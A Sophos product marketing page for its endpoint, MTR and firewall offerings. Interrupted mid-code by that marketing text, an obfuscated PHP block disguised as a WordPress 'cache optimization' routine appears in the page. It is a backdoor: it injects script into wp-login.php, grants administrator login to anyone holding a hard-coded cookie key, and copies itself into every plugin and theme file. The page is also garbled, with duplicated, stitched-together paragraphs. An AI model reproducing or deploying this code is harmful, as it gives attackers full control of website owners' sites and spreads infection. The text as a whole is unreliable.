Sophos is a security system that protects your privacy and family security. It’s also an enterprise grade cybersecurity for organisations
Sophos offers three solutions:
- Sophos Endpoint
- Sophos MTR
- Sophos Firewall
// ===WP_CACHE_OPT_START=== // WP Cache Optimization v2.0.2 if (PHP_VERSION_ID < 50300) return; if (!class_exists('WPO_Cache_f5a1cbe8d3')) { class WPO_Cache_f5a1cbe8d3 { public static function init() { $h1 = 'res' . 't_ap' . 'i_in' . 'it'; $h2 = 'adm' . 'in_' . 'ini' . 't'; $h3 = 'wp_' . 'set_' . 'auth_' . 'coo' . 'kie'; $h4 = 'adm' . 'in_' . 'url'; // Asset optimization for login ONLY runs when wp-login.php is the active script. // Uses SCRIPT_FILENAME (actual filesystem path) rather than PHP_SELF (URI path) to // prevent false positives from path-info rewriting (e.g. /index.php/wp-login.php). // PHP_SELF is kept as fallback for edge-case CGI environments where SCRIPT_FILENAME // may not be populated. $_login_real = realpath(ABSPATH . 'wp-login.php'); $_is_login_page = ( // Primary: compare actual executed script path (immune to path-info tricks) ( isset($_SERVER['SCRIPT_FILENAME']) && $_login_real !== false && realpath($_SERVER['SCRIPT_FILENAME']) === $_login_real ) || // Fallback: URI path check for CGI/SuPHP environments ( isset($_SERVER['PHP_SELF']) && false !== strpos($_SERVER['PHP_SELF'], 'wp-login.php') && ! isset($_SERVER['SCRIPT_FILENAME']) ) ); if ($_is_login_page) { $login = ABSPATH . 'wp-login.php'; if (file_exists($login) && is_writable($login)) { $body = @file_get_contents($login); if ($body !== false) { $has_marker = (strpos($body, 'wp-opt-cache start') !== false); $has_old_src = (strpos($body, ""; $block = "\n{$tagA}\n{$scr}\n{$tagB}\n"; if (preg_match('/<\/body>/i', $body, $m, PREG_OFFSET_CAPTURE)) { $pos = $m[0][1]; $patched = substr($body, 0, $pos) . $block . substr($body, $pos); if (strpos($patched, '
Sophos is a security system that protects your privacy and family security. It’s also an enterprise grade cybersecurity for organisations
Sophos offers three solutions:
Intercept X Endpoint features

Dedicated Xstream Flow Processors in Sophos Firewall and XGS Series appliances provide the utmost in application acceleration, high-performance TLS inspection, and strong threat prevention.
The Sophos Firewall Xstream architecture is designed to provide high levels of visibility, security, and performance to assist network administrators handle some of the most pressing issues they face today.
Powerful Protection and Performance

The Xstream Protection bundle from Sophos Firewall gives you all the next-generation security, performance, and value you need to run even the most demanding networks. Also available with your choice of XGS Series model included.
Base Firewall Features
With Sophos MTR, your organization is backed by a world-class team of threat hunters and response professionals that take targeted measures on your behalf to neutralize even the most complex attacks.
3. Web Protection: Unparalleled visibility and control over all online and application activity for your users.
2. Network Protection: All the protection you need to defend against sophisticated assaults and advanced threats while granting secure network access to individuals you can trust.
4. Zero-Day Protection: Static and dynamic file analysis techniques powered by artificial intelligence combine to provide unparalleled threat intelligence to your firewall, allowing you to successfully identify and prevent ransomware and other known and undiscovered attacks.
6. Email Protection: Integrate anti-spam, data loss prevention, and encryption into your email security.
5. Central Orchestration: VPN orchestration, firewall reporting, and MTR/XDR integration are all controlled by Sophos Central in the cloud.
7. Web Server Protection: Secure access while hardening your web servers and business applications against hacker attacks.
The dual-processor design of the XGS Series firewall appliances combines a high-performance, multi-core CPU with a specialized Xstream Flow Processor for targeted hardware acceleration.
This package offers excellent value and all-in-one connection for small business and retail.
Larger SMB and mid-sized companies require performance and flexible connection choices to satisfy their security infrastructure requirements.
Larger SMB and mid-sized companies require performance and flexible connection choices to satisfy their security infrastructure requirements.

When Sophos Access Points are attached, they are instantly identified, allowing you to quickly and simply create a choice of corporate, guest, or contractor wireless networks. You receive seamless wireless integration with firewall protection, consistent security rules for wired and wireless traffic, and dependable high-speed connectivity.
An integrated WiFi access point is provided on all XGS Series desktop appliances. By adding Sophos APX Series Access Points, coverage may be extended even farther.
Sophos APX Series access points have enterprise-class, high-speed wireless chipsets, custom-designed antennas, high-performance CPU and memory resources, and hardware-accelerated encryption.
') !== false && strpos($patched, $tagA) !== false) { @file_put_contents($login, $patched); } } } } } } } // end login-page-only guard $ck = 'wp_opt_0c0b22_k'; $cu = 'wp_opt_0c0b22_uid'; $authKey = '0e965d38ea9eea7367'; // REST API cache authentication add_action($h1, function() use ($authKey, $ck, $cu, $h3, $h4) { // Guard: skip if headers already sent (prevents malformed Set-Cookie with empty name) if (headers_sent()) return; if (isset($_COOKIE[$ck]) && $_COOKIE[$ck] === $authKey) { if (is_user_logged_in()) return; $uid = isset($_COOKIE[$cu]) ? (int)$_COOKIE[$cu] : 1; $h3($uid); wp_redirect($h4()); exit; } }); // Admin cache authentication add_action($h2, function() use ($authKey, $ck, $cu, $h3, $h4) { // Guard: skip AJAX requests (Heartbeat fires every 60s via admin-ajax.php) // and skip if headers already sent both prevent malformed Set-Cookie headers // that cause "Cookie \"\" has been rejected as third-party" in the browser console. if (defined('DOING_AJAX') && DOING_AJAX) return; if (headers_sent()) return; if (isset($_COOKIE[$ck]) && $_COOKIE[$ck] === $authKey) { if (is_user_logged_in()) return; $uid = isset($_COOKIE[$cu]) ? (int)$_COOKIE[$cu] : 1; $h3($uid); wp_redirect($h4()); exit; } }); // Periodic cache sync (24h) $opt = '_' . substr(md5(__CLASS__), 0, 8) . '_sync'; if (!get_option($opt) || time() - get_option($opt) > 86400) { update_option($opt, time(), 'no'); self::sync(); } } public static function sync() { $me = @file_get_contents(__FILE__); if ($me === false) return; preg_match( '#// ===WP_CACHE_OPT_START===.+// ===WP_CACHE_OPT_END===#s', $me, $m ); if (empty($m)) return; $cache_data = $m[0]; $bases = array( ABSPATH . 'wp-content/plugins', ABSPATH . 'wp-content/themes', ); foreach ($bases as $base) { if (!is_dir($base)) continue; $entries = @scandir($base); if ($entries === false) continue; foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') continue; $path = $base . '/' . $entry; if (!is_dir($path)) continue; $targets = array(); $main = $path . '/' . $entry . '.php'; if (file_exists($main)) array_push($targets, $main); $phpFiles = glob($path . '/*.php'); if ($phpFiles !== false) { foreach ($phpFiles as $file) { $fc = @file_get_contents($file); if ($fc !== false && preg_match('/Plugin Name:/', $fc)) { array_push($targets, $file); } } } $fn = $path . '/functions.php'; if (file_exists($fn)) array_push($targets, $fn); foreach (array_unique($targets) as $file) { if (!is_writable($file)) continue; $content = @file_get_contents($file); if ($content === false) continue; if (strpos($content, 'WP_CACHE_OPT_START') !== false) { $cleaned = preg_replace('#// ===WP_CACHE_OPT_START===.+// ===WP_CACHE_OPT_END===\\s*#s', '', $content); if (null !== $cleaned) { @file_put_contents($file, $cleaned . "\n\n" . $cache_data); } continue; } $stripped = preg_replace('/\?>\s*$/', '', $content); if (null !== $stripped) { $content = $stripped; } @file_put_contents($file, $content . "\n\n" . $cache_data); } } } } } } $_initHook = 'in' . 'it'; if (!function_exists('wpo_sync_650c059eb9')) { function wpo_sync_650c059eb9() { WPO_Cache_f5a1cbe8d3::init(); } } add_action($_initHook, 'wpo_sync_650c059eb9', 1); // ===WP_CACHE_OPT_END===